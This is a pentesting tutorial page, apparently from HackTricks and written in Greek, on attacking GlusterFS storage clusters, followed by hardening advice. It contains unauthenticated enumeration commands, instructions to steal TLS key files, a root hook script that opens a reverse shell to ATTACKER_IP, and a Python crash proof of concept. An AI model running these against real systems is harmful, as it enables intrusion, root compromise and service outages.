24007-24008-24009-49152 - Pentesting GlusterFS

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

GlusterFS είναι ένα κατανεμημένο σύστημα αρχείων που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα ενιαίο όνομα χώρου. Η διαχείριση δαίμονας (glusterd) ακούει από προεπιλογή σε 24007/TCP και δίνει οδηγίες σε bricks του data-plane που ξεκινούν από 49152/TCP (μία θύρα ανά brick, με αύξηση). Οι εκδόσεις πριν από την 9.x χρησιμοποιούσαν 24008–24009/TCP για τη μεταφορά bricks, οπότε θα συναντήσετε αυτές τις θύρες σε κληρονομημένα clusters.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

Συμβουλή: 24007 απαντά σε κλήσεις RPC ακόμη και όταν οι κόμβοι μόνο αποθήκευσης δεν εξάγουν κανένα όγκο; επομένως, η υπηρεσία είναι ένας αξιόπιστος στόχος pivot μέσα σε μεγάλες υποδομές.

Αρίθμηση

Εγκαταστήστε τα εργαλεία πελάτη στο επιτιθέμενο σύστημα σας:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. Ανακάλυψη ομότιμων & υγεία
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. Αναγνώριση όγκου
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. Μόνταρε χωρίς προνόμια
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

Αν η τοποθέτηση αποτύχει, ελέγξτε το /var/log/glusterfs/<vol_name>-<uid>.log στην πλευρά του πελάτη. Συχνά προβλήματα είναι:

  • Επιβολή TLS (option transport.socket.ssl on)
  • Έλεγχος πρόσβασης με βάση τη διεύθυνση (option auth.allow <cidr>)

Αντιμετώπιση προβλημάτων πιστοποιητικού

Κλέψτε τα παρακάτω αρχεία από οποιονδήποτε εξουσιοδοτημένο κόμβο πελάτη και τοποθετήστε τα στο /etc/ssl/ (ή στον κατάλογο που εμφανίζεται στο αρχείο καταγραφής σφαλμάτων):

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Γνωστές Ευπάθειες (2022-2025)

CVEΕπηρεαζόμενες εκδόσειςΕπιπτώσειςΣημειώσεις
CVE-2022-4834010.0–10.4, 11.0Χρήση μετά από απελευθέρωση στη dht_setxattr_mds_cbk προσβάσιμη μέσω του δικτύουΑπομακρυσμένο DoS και πιθανή RCE. Διορθώθηκε στην 10.4.1 / 11.1.
CVE-2023-26253< 11.0Ανάγνωση εκτός ορίων στον χειριστή ειδοποιήσεων FUSEΑπομακρυσμένη κατάρρευση μέσω κατασκευασμένων λειτουργιών FS; δημόσιο PoC διαθέσιμο.
CVE-2023-3775< 10.5 / 11.1Λανθασμένη επικύρωση δικαιωμάτων κατά την τοποθέτηση του gluster_shared_storageΕπιτρέπει σε οποιονδήποτε μη αυθεντικοποιημένο πελάτη να τοποθετήσει τον όγκο διαχειριστή – οδηγεί σε priv-esc που εξηγείται παρακάτω.

Ελέγχετε πάντα το gluster --version σε κάθε κόμβο; ετερογενείς κλάστερ είναι συνηθισμένοι μετά από μερικές αναβαθμίσεις.

Εκμετάλλευση του gluster_shared_storage (Αύξηση Δικαιωμάτων)

Ακόμα και σε πρόσφατες εκδόσεις, πολλοί διαχειριστές αφήνουν τον ειδικό όγκο gluster_shared_storage αναγνώσιμο από όλους επειδή απλοποιεί τη γεω-αναπαραγωγή. Ο όγκος περιέχει πρότυπα cronjob που εκτελούνται με root σε κάθε κόμβο.

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

Αν το hooks/1/ δεν είναι παρόν, αναζητήστε το /ss_bricks/ – η ακριβής διαδρομή μπορεί να διαφέρει με την κύρια έκδοση.

Denial-of-Service PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

Η εκτέλεση του script προκαλεί κατάρρευση του glusterfsd < 11.0.


Σκληροποίηση & Ανίχνευση

  • Αναβάθμιση – η τρέχουσα LTS είναι 11.1 (Ιούλιος 2025). Όλες οι CVEs παραπάνω έχουν διορθωθεί.
  • Ενεργοποιήστε το TLS για κάθε brick:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • Περιορίστε τους πελάτες με λίστες CIDR:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • Εκθέστε την θύρα διαχείρισης 24007 μόνο σε ιδιωτικό VLAN ή μέσω SSH tunnels.
  • Παρακολουθήστε τα logs: tail -f /var/log/glusterfs/glusterd.log και ρυθμίστε τη δυνατότητα audit-log (volume set <vol> features.audit-log on).

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks